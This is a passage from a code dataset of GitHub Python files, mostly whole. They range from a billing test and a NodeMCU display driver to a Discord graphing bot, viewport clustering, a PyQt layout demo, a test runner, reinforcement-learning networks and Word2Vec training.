steps.ClientSteps.create({'REGION_ID': 225}, single_account_activated=True, enable_single_account=True)\n    steps.ClientSteps.link(client_id, 'sandyk-yndx-10')\n    steps.ClientSteps.set_force_overdraft(client_id, service_id=7, limit=50000)\n    service_order_id = steps.OrderSteps.next_id(service_id=context.service.id)  # внешний ID заказа\n    person_id = steps.PersonSteps.create(client_id, 'ur')\n    order_id = steps.OrderSteps.create(client_id, service_order_id, service_id=context.service.id,\n                                       product_id=context.product.id, params={'AgencyID': None})\n    orders_list = [{'ServiceID': context.service.id, 'ServiceOrderID': service_order_id, 'Qty': 50,\n                    'BeginDT': NOW}]\n\n    request_id = steps.RequestSteps.create(client_id, orders_list,\n                                           additional_params={'InvoiceDesireDT': NOW})\n\n    invoice_id, external_id, _ = steps.InvoiceSteps.create(request_id, person_id, context.paysys.id, credit=0,\n                                                           contract_id=None, overdraft=0, endbuyer_id=None)\n\n    service_order_id = steps.OrderSteps.next_id(service_id=context.service.id)  # внешний ID заказа\n    person_id = steps.PersonSteps.create(client_id, 'ur')\n    order_id = steps.OrderSteps.create(client_id, service_order_id, service_id=context.service.id,\n                                       product_id=context.product.id, params={'AgencyID': None})\n    request_id = steps.RequestSteps.create(client_id, orders_list,\n                                           additional_params={'InvoiceDesireDT': NOW})\n    invoice_id, external_id, _ = steps.InvoiceSteps.create(request_id, person_id, context.paysys.id, credit=0,\n                                                           contract_id=None, overdraft=1, endbuyer_id=None)\n\n    service_order_id = steps.OrderSteps.next_id(service_id=context.service.id)\n    session, token = snout_steps.CartSteps.get_session_and_token(client_id)\n    steps.OrderSteps.create(client_id, service_order_id, service_id=context.service.id,\n                            product_id=context.product.id, params={'AgencyID': None})\n\n\n    snout_steps.CartSteps.post_item_add(session, context.service.id, service_order_id, 10, None, token)\n\n    # ____________________________________________________________________________________кредитный счет\n    # context = GEO\n    service_order_id = steps.OrderSteps.next_id(service_id=context.service.id)\n    order_id = steps.OrderSteps.create(client_id, service_order_id, service_id=context.service.id,\n                                       product_id=context.product.id, params={'AgencyID': None})\n    orders_list = [{'ServiceID': context.service.id, 'ServiceOrderID': service_order_id, 'Qty': 5,\n                    'BeginDT': NOW}]\n    request_id = steps.RequestSteps.create(client_id, orders_list,\n                                           additional_params={'InvoiceDesireDT': NOW})\n    contract_params = {\n        'CLIENT_ID': client_id,\n        'PERSON_ID': person_id,\n        'PAYMENT_TYPE': ContractPaymentType.POSTPAY,\n        'SERVICES': [context.service.id],\n        'DT': Date.TODAY_ISO,\n        'FINISH_DT': Date.HALF_YEAR_AFTER_TODAY_ISO,\n        'IS_SIGNED': Date.TODAY_ISO,\n        'CURRENCY': context.currency.num_code,\n        'CREDIT_TYPE': ContractCreditType.BY_TERM_AND_SUM,\n        'CREDIT_LIMIT_SINGLE': 1000000,\n    }\n    contract_id, _ = steps.ContractSteps.create_contract_new(ContractCommissionType.OPT_CLIENT, contract_params)\n    invoice_id, external_id, _ = steps.InvoiceSteps.create(request_id, person_id, context.paysys.id, credit=1,\n                                                           contract_id=contract_id, overdraft=1, endbuyer_id=None)\n    steps.CampaignsSteps.do_campaigns(context.service.id, service_order_id, {'Money': 500}, 0,\n                                      datetime.datetime.now())\n    steps.ActsSteps.generate(client_id=client_id, date=datetime.datetime.now(), force=1)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/balance/tests/single_account/test_debts.py","file_name":"test_debts.py","file_ext":"py","file_size_in_byte":5033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70589704083","text":"#!/usr/bin/python3\n\n# This is a more complicated example utilizing a 74HC595 shift register\n# to control a 7 segment display. The wiring from the NodeMCU to the \n# shift register is described below. \n\nfrom nodemcu import NodeMcu, NodeMcuError, D\nfrom time import sleep\nfrom sys import exit\nfrom common import getIPPort\nfrom time import sleep\n\n# Wiring       Names from the TI data sheet\nDS = D[0]    # SER\nOE = D[1]    # OE\nST_CP = D[2] # RCLK\nSH_CP = D[3] # SRCLK\nMR = D[4]    # SRCLR\n\ncode = [0xc0,0xf9,0xa4,0xb0,0x99,0x92,0x82,0xf8,0x80,0x90,0xff,0x00]\n\ntry:\n\tmcu = NodeMcu(getIPPort())\n\n\tfor o in [DS, OE, ST_CP, SH_CP, MR]:\n\t\tmcu.setOutput(o)\n\n\tmcu.write(OE, False)\n\tmcu.write(SH_CP, False)\n\tmcu.write(ST_CP, False)\n\n\tnum = 0\n\twhile True:\n\t\tmove = 0x80\n\t\tfor i in range(0,8):\n\t\t\tmcu.write(DS, code[num] & move != 0)\n\t\t\tmcu.write(SH_CP, False)\n\t\t\tmcu.write(SH_CP, True)\n\t\t\tmove >>= 1\n\n\t\tmcu.write(ST_CP, True)\n\t\tmcu.write(ST_CP, False)\n\t\tmcu.write(SH_CP, False)\n\n\t\tnum = (num + 1) % 10\n\t\tsleep(2)\n\n\nexcept NodeMcuError as e:\n\tprint(\"error:\", e)\n","repo_name":"chtisgit/nodemcu-udp","sub_path":"client/example_7seg_display.py","file_name":"example_7seg_display.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74786289040","text":"import discord\nfrom discord.ext import commands\nimport os\nimport datetime\nimport DenzGraphingApiWrapper_py as GraphingApi #pip install DenzGraphingApiWrapper-py\n\nbot = commands.Bot(command_prefix=(\">\"))\n\n@bot.event\nasync def on_connect():\n\tprint(\"the bot is ready\")\n\n@bot.event\nasync def on_ready():\n\tprint(f'We have logged in as {bot.user}\\n')\n\n@bot.event\nasync def on_command_error(ctx, error):\n\traise error\n\n@bot.command()\nasync def pythonanywhere_graph(ctx, formula):\n    url = GraphingApi.py_anywhere_graph(formula)\n    await ctx.send(url)\n\n@bot.command()\nasync def heroku_graph(ctx, formula):\n    url = GraphingApi.heroku_graph(formula)\n    await ctx.send(url)\n\n@bot.command()\nasync def pythonanywhere_graph_with_Embed(ctx, formula):\n    url = GraphingApi.py_anywhere_graph(formula)\n    embed = discord.Embed(title = f' the graphical representation of \\n ```{formula} = 0```',color = discord.Color.green(),url = url)\n    embed.set_image(url = url)\n    embed.timestamp = datetime.datetime.utcnow()\n    embed.set_footer(text=f'rendered by {ctx.author.name}',icon_url=ctx.author.avatar_url)\n    await ctx.send(embed=embed)\n\n@bot.command()\nasync def heroku_graph_with_Embed(ctx, formula):\n    url = GraphingApi.heroku_graph(formula)\n    embed = discord.Embed(title = f' the graphical representation of \\n ```{formula} = 0```',color = discord.Color.green(),url = url)\n    embed.set_image(url = url)\n    embed.timestamp = datetime.datetime.utcnow()\n    embed.set_footer(text=f'rendered by {ctx.author.name}',icon_url=ctx.author.avatar_url)\n    await ctx.send(embed=embed)\n\n@bot.command()\nasync def github(ctx):\n    await ctx.send(\"https://github.com/denzven/DenzGraphingApiWrapper_py\")\n\n@bot.command()\nasync def docs(ctx):\n    await ctx.send(\"https://denzgraphingapiwrapper-py.readthedocs.io/en/latest/\")\n\n@bot.command()\nasync def pypi(ctx):\n    await ctx.send(\"https://pypi.org/project/DenzGraphingApiWrapper-py/\")\n\n@bot.command()\nasync def test_pypi(ctx):\n    await ctx.send(\"https://test.pypi.org/project/DenzGraphingApiWrapper-py-denzven/\")\n\n@bot.command()\nasync def code(ctx):\n    await ctx.send(file = discord.File(r'main.py'), content = \"Here is the Code of This Bot\")\n\t\nbot.run(os.environ['bottoken']) #69 nice","repo_name":"denzven/Denzven-Graphing-Api-Wrapper","sub_path":"examples/Example_Code_Discord_Bot.py","file_name":"Example_Code_Discord_Bot.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"13304727191","text":"\ndef what_letters_to_delete(a, b):\n    if len(a) < len(b) or len(a) == len(b):\n        return 0\n    solutions = []\n    for i, c in enumerate(a):\n        if c != b[i]:\n            solutions.append(i)\n\n            for j in reversed(range(0, i)):\n                if a[j] == c:\n                    solutions.append(j)\n                else:\n                    break\n        if solutions:\n            break\n    \n    return solutions if solutions else 0\n\nif __name__ == '__main__':\n    print(what_letters_to_delete('abbbc', 'abc'))","repo_name":"tmpoe/algorithmic-thinking","sub_path":"deleting_a_letter/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30567040849","text":"#%pylab inline\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport math\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nimport numpy as np\nfrom PIL import Image\n\nfrom scipy.stats.kde import gaussian_kde\nfrom scipy.interpolate import interp1d\nfrom numpy import linspace\nimport pandas as pd\nimport metrics as metrics\nimport statistics\nfrom shapely.geometry import Polygon, Point\nfrom shapely.geometry import box\nfrom shapely.ops import unary_union\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport statsmodels.api as sm\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.feature_selection import RFE\nfrom sklearn.linear_model import RidgeCV, LassoCV, Ridge, Lasso\nimport pandas as pd\nfrom sklearn import preprocessing\n\nfrom sklearn.cluster import KMeans\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler\nimport seaborn as sns\nfrom itertools import chain\n#import cv2\nfrom sklearn.cluster import KMeans\nimport numpy as np\nfrom sklearn.preprocessing import normalize\nfrom sklearn.metrics import davies_bouldin_score\nfrom sklearn.mixture import GaussianMixture as GMM\nimport random\nfrom scipy.stats.kde import gaussian_kde\nfrom numpy import linspace\nfrom sklearn.manifold import TSNE\n#from tabulate import tabulate\nfrom matplotlib.figure import figaspect\nfrom tqdm import tqdm\nfrom sklearn.metrics import mean_squared_error as mse\nfrom skimage.metrics import structural_similarity as ssim\nfrom scipy import spatial\nimport datetime\nimport argparse\nimport os.path\nfrom os import path\nimport setPath as setPath\n\ndef importAggregatedDataset():\n    data=[]\n    path= folder_path+ 'aggregated_dataset/'\n    for i in range(88):\n        \n        video=[[],[],[]]\n        newpath=path+str(i)+'.txt'\n        f= open(newpath,\"r\")\n        arr= f.readlines()\n        video[0].append(list(map(float,arr[0].split(' '))))\n\n        for j in range(1,len(arr)):\n            if j%2==0:\n                video[2].append(list(map(float,arr[j].split(' '))))\n            else:\n                video[1].append(list(map(float,arr[j].split(' '))))\n        f.close()\n        data.append(video)\n\n    return data\n    \n\ndef readAllFeatures():\n  path= folder_path+'/extracted_features/allFeatures.txt'\n  features=[]\n  f= open(path ,\"r\")\n\n  arr= f.readlines()\n  for j in arr:\n      a= list(map(float,j.split(' ')))\n      features.append(a)\n  f.close()\n\n  return (features)\n\n\ndef featureHierarchy(allFeatures):\n  hierFeatures=[]\n  for i in range(len(data)):\n    a=[]\n    for j in range(len(data[i][1])):\n      a.append([])\n    hierFeatures.append(a)\n\n  for i in range(len(allFeatures)):\n    video= int(allFeatures[i][0])\n    user= int(allFeatures[i][1])\n    try:\n     hierFeatures[video][user].append(allFeatures[i])\n    except:\n      print(allFeatures[i])\n\n  return hierFeatures\n  \ndef normalizeFeatures(features):\n    X = np.array(features)\n    space= X[:,3:]\n    #cols= ['%25 yaw', 'mean yaw', '%75 yaw', '%25 pitch', 'mean pitch', '%75 pitch', '% sphere', 'max move pitch', 'max move yaw', '%25 speed yaw', 'mean speed yaw', '%75 speed mean', '%25 speed pitch', 'mean speed pitch', '%75 speed pitch']\n    df = pd.DataFrame(X[:,3:])#, columns= cols)\n\n    min_max_scaler = preprocessing.MinMaxScaler()\n    np_scaled = min_max_scaler.fit_transform(df)\n    df_normalized = pd.DataFrame(np_scaled)#, columns = cols)\n\n    return df_normalized\n\ndef getClusterCenters(hierFeatures, clusteredPoints):\n  centers=[]\n  for i in range(len(clusteredPoints)):\n    arr=[]\n    for j in range(len(clusteredPoints[i])):\n      video= int(clusteredPoints[i][j][0])\n      user= int(clusteredPoints[i][j][1])\n      start= int(clusteredPoints[i][j][2]/2)\n      arr.append(hierFeatures[video][user][start])\n    centers.append(np.mean(arr, axis=0)[3:])\n  return centers\n\ndef clusterViewports(features, nclusters):\n    X = np.array(features)\n    space= X[:,3:]\n    df = pd.DataFrame(X[:,3:])\n\n    min_max_scaler = preprocessing.MinMaxScaler()\n    np_scaled = min_max_scaler.fit_transform(df)\n    df_normalized = pd.DataFrame(np_scaled)\n\n    n=nclusters\n    kmeans = KMeans(n_clusters=n, random_state=0).fit(df_normalized)\n    a=kmeans.labels_\n    clusteredMy=[]\n    clusteredPointsMy=[]\n    for j in range(n):\n        clusteredPointsMy.append([])\n\n    for i in range(len(a)):\n        ind= a[i]\n        clusteredPointsMy[ind].append(X[i][:3]) \n    centers=[]\n    centers= getClusterCenters(hierFeatures, clusteredPointsMy)\n\n    return clusteredPointsMy, df_normalized, centers\n\ndef clusterFeatures(i, clusteredVPs):\n  arr=[[],[],[],[],[]]\n  for k in clusteredVPs[i]:\n    video= int(k[0])\n    user= int(k[1])\n    start= int(k[2]/2)\n    try:\n        arr[0].append(hierFeatures[video][user][start][1+3])\n        arr[1].append(hierFeatures[video][user][start][4+3])\n        arr[2].append(abs(hierFeatures[video][user][start][10+3]))\n        arr[3].append(abs(hierFeatures[video][user][start][13+3]))\n        arr[4].append(hierFeatures[video][user][start][6+3])\n    except:\n        pass\n  return arr\n\ndef plotBars(bar,std,x_pos,i, path):\n    font = {\n        'size': 16,\n        }\n    fig,(ax1,ax2,ax3) =plt.subplots(1,3,figsize=(35,12))\n    plt.subplots_adjust(left=0.13 ,right=0.95 ,wspace=0.6,bottom=0.08 ,top=0.95)\n    \n    # ax1.set_xticklabels(['',''],fontdict=font)\n    # ax2.set_xticklabels(['',''],fontdict=font)\n    # ax3.set_xticklabels([''],fontdict=font)\n    ax1.tick_params(axis = 'y', labelsize= 60)\n    ax2.tick_params(axis = 'y', labelsize= 60)\n    ax3.tick_params(axis = 'y', labelsize= 60)\n    ax1.bar(x_pos[0], bar[0], yerr=std[0], align='center', alpha=0.5, ecolor='black', capsize=16,label = x_pos[0], color = 'r')\n    ax1.bar(x_pos[1], bar[1], yerr=std[1], align='center', alpha=0.5, ecolor='black', capsize=16,label = x_pos[1], color = 'g')\n    ax1.set_ylabel(\"Rad\",fontsize=60 )\n    ax2.bar(x_pos[2], bar[2], yerr=std[2], align='center', alpha=0.5, ecolor='black', capsize=16,label = x_pos[2], color = 'b')\n    ax2.bar(x_pos[3], bar[3], yerr=std[3], align='center', alpha=0.5, ecolor='black', capsize=16,label = x_pos[3], color = 'c')\n    ax2.set_ylabel(\"Rad/s\",fontsize=60 ) \n    ax3.bar(x_pos[4], bar[4], yerr=std[4], align='center', alpha=0.5, ecolor='black', capsize=16,label = x_pos[4], color = 'y', width=[2])\n    ax3.set_ylabel(\"Percentage\",fontsize=60 )\n    \n    ax1.legend(loc='lower right',prop={'size': 40})\n    ax2.legend(loc='lower right',prop={'size': 40})\n    ax3.legend(loc='lower right',prop={'size': 40})\n    fig.tight_layout()\n    plt.savefig(path+'features_viewport_cluster'+str(i)+'.png')\n    plt.close()\n    return\n\ndef plotclusters(start,clusteredPoints, centers, path, length=2):\n    \n    for k in range(len(clusteredPoints)):\n      #print('Cluster is '+str(k))\n      fig, ax = plt.subplots(1,1)#, figsize=(16,12))\n      fig.set_figheight(8)\n      fig.set_figwidth(16)\n      ax.tick_params(labelsize=60)\n      for j in range(int(len(clusteredPoints[k])/10)):\n        #if cluster_labels[j]==k:\n        yaws=[]\n        pitches=[]\n        video= int(clusteredPoints[k][j][0])\n        user= int(clusteredPoints[k][j][1])\n        start= int(clusteredPoints[k][j][2])\n        yaws.extend(data[video][2][user][start*10:(start+length)*10])\n        pitches.extend(data[video][1][user][start*10:(start+length)*10])\n\n        plt.scatter(yaws, pitches, marker='.')\n        plt.xlim(-3.14, 3.14)\n        plt.ylim(-1.57, 1.57)\n\n      plt.ylabel('Lattitude - rad',fontsize=50)\n      plt.xlabel('Longitude - rad', fontsize=50)\n      fig.tight_layout()\n      plt.savefig(path+ '/VPClusterScatterplot'+str(k)+'.png')\n      #plt.show()\n      plt.close()\n      #print('Mean yaw '+str(centers[k][1]), 'Mean pitch '+str(centers[k][4]), 'Mean speed yaw '+str(centers[k][10]), 'Mean speed pitch '+str(centers[k][13]), '% sphere '+str(centers[k][6]),   )\n\ndef set_box_color(bp, color):\n    plt.setp(bp['boxes'], color=color)\n    plt.setp(bp['whiskers'], color=color)\n    plt.setp(bp['caps'], color=color)\n    plt.setp(bp['medians'], color=color)\n    plt.setp(bp['fliers'], color=color)\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"--path\", help=\"the path to the top folder\")\nparser.add_argument(\"--nclusters\", help=\"number of viewport clusters. default is 10\")\nparser.add_argument(\"--saveClusters\", action='store_true', help=\"save the elemets of resulting clusters to text files\")\nparser.add_argument(\"--savePlots\", action='store_true', help=\"save the plots in figure 7\")\nparser.add_argument(\"--eval\", action='store_true', help=\"evaluate and save the plots in figure 6\")\n\nargs = parser.parse_args()\nif args.path:\n    folder_path= args.path\nelse:\n    folder_path= setPath.setFolderPath() \n\nif args.nclusters:\n    nclusters= int(args.nclusters)\nelse:\n    nclusters=10\n    \nprint('Forming viewport clusters')\ndata= importAggregatedDataset()\nallFeatures= readAllFeatures()\nhierFeatures= featureHierarchy(allFeatures)\nclusteredVPs, df_normalized, centers= clusterViewports(allFeatures, nclusters)\n\n\nif args.saveClusters or args.savePlots or args.eval:\n    #print('true')\n    if not path.exists(folder_path+'viewport_clustering_for_dataset_results/nclusters_'+str(nclusters)):\n         os.mkdir(folder_path+'viewport_clustering_for_dataset_results/nclusters_'+str(nclusters))\n\n\nif args.saveClusters:\n    print('Saving clusters...')\n    path= folder_path+'viewport_clustering_for_dataset_results/nclusters_'+str(nclusters)+'/'\n    for i in tqdm(range(nclusters)):\n        f= open(path+'cluster_'+str(i)+'.txt',\"w\")\n        for j in range(len(clusteredVPs[i])):\n            str1 = ' '.join(str(int(e)) for e in clusteredVPs[i][j])\n            f.write(str1+\"\\n\" )\n        f.close()\n\nif args.savePlots:\n    print('Saving plots')\n    path= folder_path+'viewport_clustering_for_dataset_results/nclusters_'+str(nclusters)+'/'\n    for i in tqdm(range(nclusters)):\n        barPlot= clusterFeatures(i, clusteredVPs)\n        bar=[np.mean(barPlot[0]), np.mean(barPlot[1]), np.mean(barPlot[2]), np.mean(barPlot[3]), np.mean(barPlot[4])]\n        std=[np.std(barPlot[0]), np.std(barPlot[1]), np.std(barPlot[2]), np.std(barPlot[3]), np.std(barPlot[4])]\n        x_pos = ['Position - Yaw','Position - Pitch','Speed - Yaw','Speed - Pitch', '% sphere']\n        plotBars(bar,std,x_pos,i, path)\n\n    plotclusters(10,clusteredVPs,centers,path,length=2)\n\nif args.eval:\n    \n    withinVPs=[]\n    withinSpeeds=[]\n    crossVPs=[]\n    crossSpeeds=[]\n    print('Evaluating within-cluster metrics...')\n    for i in tqdm(range(len(clusteredVPs))):\n        a,b= metrics.withinVPCluster(0, clusteredVPs, data)\n        withinVPs.append(a)\n        withinSpeeds.append(b)\n    print('Evaluating cross-cluster metrics...')\n    for i in tqdm(range(len(clusteredVPs))):\n        a,b= metrics.crossVPCluster(i, clusteredVPs, data)\n        crossVPs.append(a)\n        crossSpeeds.append(b)\n\n    path= folder_path+'viewport_clustering_for_dataset_results/nclusters_'+str(nclusters)+'/'\n    VPBetween=[]\n    SpeedDiffBetween=[]\n    \n    for i in range(nclusters):\n        VPBetween.append(np.mean(crossVPs[i]))\n        SpeedDiffBetween.append(np.mean(crossSpeeds))\n\n    print('saving results...')\n    font = {\n            'size': 60,\n            } \n\n    ticks = []\n    for i in range(nclusters):\n        ticks.append(str(i+1))\n    fig, ax1 = plt.subplots(1,1)\n    fig.set_figheight(15)\n    fig.set_figwidth(30)\n    ax1.tick_params(axis = 'both', labelsize= 60)\n    ax1.set_ylim((0,100))\n    color = 'red'\n    ax1.set_xlabel('Cluster', fontsize=60)\n    ax1.set_ylabel('% Pairwise Viewport overlap', color=color, fontsize=50)\n    ax1.tick_params(axis='y', labelcolor=color)\n    ax2 = ax1.twinx()  # instantiate a second axes that shares the same x-axis\n    ax2.set_ylim((0,10))\n    ax2.tick_params(axis = 'both', labelsize= 60)\n    color = 'blue'\n    ax2.set_ylabel('Pairwise difference in speed rad/s', color=color, fontsize=50)\n    ax2.tick_params(axis='y', labelcolor=color)\n        \n        \n    positions1= np.arange(nclusters)*3-0.4\n    positions2= np.arange(nclusters)*3+0.4\n    positions= np.arange(nclusters)*3\n    c='red'\n    d= 'blue'\n    flierprops1 = dict(marker='o', markerfacecolor=c, markersize=3,\n                    linestyle='none', markeredgecolor=c)\n    flierprops2 = dict(marker='o', markerfacecolor=d, markersize=3,\n                    linestyle='none', markeredgecolor=d)\n\n    ax1.boxplot(withinVPs,showfliers=True, positions=positions1, boxprops=dict(color=c),\n                capprops=dict(color=c),\n                whiskerprops=dict(color=c),\n                medianprops=dict(color=c),flierprops=flierprops1)\n    ax1.scatter(positions1, VPBetween, c=c, label= 'cross-cluster VPO',marker='X', s=400)\n\n    ax2.boxplot(withinSpeeds,showfliers=True, positions=positions2, boxprops=dict(color=d),\n                capprops=dict(color=d),\n                whiskerprops=dict(color=d),\n                medianprops=dict(color=d), flierprops=flierprops2)\n\n    ax2.scatter(positions2, SpeedDiffBetween, c=d, label= 'cross-cluster Speed diff.', marker='X',s=400)\n    ax1.legend(loc='upper right',prop={'size': 40} )\n    ax2.legend(loc='lower right',prop={'size': 40} )\n    plt.xticks(range(0, len(ticks) * 3, 3), ticks)\n    fig.tight_layout()\n    plt.grid()\n    plt.savefig(path+'/VPclusterEval_nclusters_'+str(nclusters)+'.png')\n    plt.close()\n    ","repo_name":"theamaya/Viewport-Aware-Dynamic-360-Video-Segment-Categorization","sub_path":"viewport_clustering_for_dataset.py","file_name":"viewport_clustering_for_dataset.py","file_ext":"py","file_size_in_byte":13403,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"}
+{"seq_id":"23324377325","text":"import sys\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\n\n\nclass GridLayoutDemo(QWidget):\n    def __init__(self):\n        super().__init__()\n        # Lets create a windows title, this is the which will be shown it title bar of our app\n        self.setWindowTitle(\"Grid Layout\")\n        self.init_ui()\n\n    def init_ui(self):\n\n        # Lets create a layout\n        Grid = QGridLayout()\n\n        # Let's create some widgets\n        Button1 = QPushButton(\"Button 1\")\n        Button2 = QPushButton(\"Button 2\")\n        Button3 = QPushButton(\"Button 3\")\n        Button4 = QPushButton(\"Button 4\")\n\n        # Grid Layout will take 4 positional args: first two are the rows and columns and next two are the size.\n        Grid.addWidget(Button1, 0, 0, 1, 1)\n        Grid.addWidget(Button2, 0, 1, 1, 1)\n        Grid.addWidget(Button3, 0, 2, 1, 1)\n        Grid.addWidget(Button4, 1, 0, 1, 2)\n\n        # and now we are gonna send our Grid layout to our mainpage\n        self.setLayout(Grid)\n\n        # Finally the most important line\n        self.show()\n\n\nif __name__ == \"__main__\":\n    # First we create an app\n    app = QApplication(sys.argv)\n    # We are gonna call our class here\n    window = GridLayoutDemo()\n\n    # To run our app do:\n    sys.exit(app.exec_())\n\n","repo_name":"Sanket758/The-Complete-Python-3-Course-Beginner-to-Advanced","sub_path":"Project 7: PyQt5 - GUICalculator/GridLayoutDemo.py","file_name":"GridLayoutDemo.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"3"}
+{"seq_id":"34026028533","text":"#!/usr/bin/env python\nimport requests\nimport http\n\n\ndef main():\n    ok = False\n    with requests.get(\"http://localhost:8000/hc\") as res:\n        if res.status_code == http.HTTPStatus.OK:\n            ok = True\n\n    if ok:\n        exit(0)\n    exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"kokardy/docker-django","sub_path":"asset/project2/healthcheck.py","file_name":"healthcheck.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21962110144","text":"\"\"\"\n运行用例集：\n    python3 run.py\n\n# '--allure_severities=critical, blocker'\n# '--allure_stories=测试模块\n# '--allure_features=测试features'\n\"\"\"\n\nimport pytest\n\nfrom Common import Log, GToken\nfrom Common import Shell\nfrom Common.Email import get_report_file\nfrom Config import Config\nfrom Common import Email\nfrom Log import delete_log\n\nconf = Config.Config()\nlog = Log.MyLog()\nshell = Shell.Shell()\n\nif __name__ == '__main__':\n    # 清空log日志\n    delete_log()\n    # token初始化\n    GToken.init()\n    # 清空allure数据\n    conf.delete_file()\n    log.info('初始化配置文件, path=' + conf.conf_path)\n    report_path = conf.path_dir+'/Report'\n    xml_report_path = conf.xml_report_path\n    html_report_path = conf.html_report_path\n    # 定义测试集\n    args = ['-s', '-q', '--alluredir', xml_report_path]  # 执行所有测试用例\n    # args = ['-s', './test_case/test_admin', '-q', '--alluredir', xml_report_path]  # 按目录去执行测试用例\n    pytest.main(args)\n\n    cmd = 'allure generate %s -o %s --clean' % (xml_report_path, html_report_path)\n    pytest_html = 'pytest --html=%s/report.html --self-contained-html' % report_path\n    try:\n        shell.invoke(cmd)\n        shell.invoke(pytest_html)\n    except Exception:\n        log.error('执行用例失败，请检查环境配置')\n        raise\n    # try:\n    #     report_file = get_report_file(report_path)\n    #     mail = Email.SendMail()\n    #     mail.send_mail(report_file)\n    # except Exception as e:\n    #     log.error('发送邮件失败，请检查邮件配置')\n    #     raise\n\n","repo_name":"lixuedian/Api_Automation_m","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34761356101","text":"from .network_utils import *\n\nclass Actor(nn.Module):\n    def __init__(self, state_size, action_size, seed, hidden_unit=(400,300),gate=F.relu,gate_action=torch.tanh):\n        super(Actor, self).__init__()\n        dims=(state_size, ) + hidden_unit\n        self.seed = torch.manual_seed(seed)\n        self.gate = gate\n        self.gate_action = gate_action\n        self.layers=nn.ModuleList([nn.Linear(dim_in,dim_out) for dim_in, dim_out in zip(dims[:-1],dims[1:])])\n        self.action_layer= nn.Linear(dims[-1], action_size)\n        self.reset_parameters()\n\n    def reset_parameters(self):\n        for layer in self.layers:\n            layer.weight.data.uniform_(*hidden_init(layer))\n        self.action_layer.weight.data.uniform_(-3e-3, 3e-3)\n\n    def forward(self, x):\n        for layer in self.layers:\n            x = self.gate(layer(x))\n        return self.gate_action(self.action_layer(x))\n\n\nclass Critic(nn.Module):\n    def __init__(self, state_size, action_size, seed, hidden_unit=(400,300),gate=F.relu):\n        super(Critic, self).__init__()\n        dims=(state_size, ) + hidden_unit\n        self.gate = gate\n        self.seed = torch.manual_seed(seed)\n        self.layers=nn.ModuleList([nn.Linear(dim_in,dim_out) for dim_in, dim_out in zip(dims[:-2],dims[1:-1])])\n        self.state_action_layer = nn.Linear(dims[-2]+action_size, dims[-1])\n        self.value_layer = nn.Linear(dims[-1], 1)\n        self.reset_parameters()\n\n    def reset_parameters(self):\n        for layer in self.layers:layer.weight.data.uniform_(*hidden_init(layer))\n        self.state_action_layer.weight.data.uniform_(*hidden_init(self.state_action_layer))\n        self.value_layer.weight.data.uniform_(-3e-3, 3e-3)\n\n    def forward(self, x, action):\n        for layer in self.layers: x = self.gate(layer(x))\n        x = torch.cat((x, action), dim=1)\n        x = F.relu(self.state_action_layer(x))\n        return self.value_layer(x)\n","repo_name":"Shisthruna28/Deep_reinforcement_learning","sub_path":"DRL_DDPG/DeepRL/network/network_bodies.py","file_name":"network_bodies.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17661591163","text":"import csv\nimport nltk\nimport time\nimport gensim\nfrom gensim.models import Word2Vec\nfrom gensim.models import KeyedVectors\nfrom progress.bar import Bar\nfrom progress.spinner import Spinner\n\n# Import own files\nfrom clean import Clean\n\ncleaner = Clean()\n\n# Increase csv field size limit\ncsv.field_size_limit(2 ** 30)\n\nNUM_DOCS = 17153  # for progress bar purposes only\n\nsentences = []\nwith open(\"dataset.csv\", newline='', encoding='utf-8') as csvfile:\n\n    #Start time\n    start = time.time()\n\n    # Start progress bar. max obtained from reading in the excel file and checking number of rows\n    indexing_progress_bar = Bar(\n    \"Reading in documents to train Word2Vec Model\", max=NUM_DOCS)\n\n    # Read in CSV dataset and remove headers from consideration\n    csv_reader = csv.reader(csvfile)\n    next(csv_reader, None)\n\n    # Iterate over each row, and each row represents a document\n    for row in csv_reader:\n        # append title, content and court for training\n        data = row[1] +row[2] +row[4]\n        sentences.append(cleaner.clean(data))\n        # Update progress bar\n        indexing_progress_bar.next()\n    \n    #End time\n    end = time.time()\n\n    #Time taken\n    print(f\"Time taken to index is {(end-start):.2f}s\")\n\ntrain_start = time.time()\n# Progress bar finish\nindexing_progress_bar.finish()\nprint(\"Starting training...\")\n\nmodel = Word2Vec(sentences, vector_size=100, window=5, min_count=1, workers=4)\n\ntrain_end = time.time()\nprint(\"Training complete. Saving model...\")\nprint(f\"Time taken to train is {(train_end-train_start):.2f}s\")\n\nmodel.wv.save_word2vec_format('model.kv', binary=True)\n\nprint(\"Model 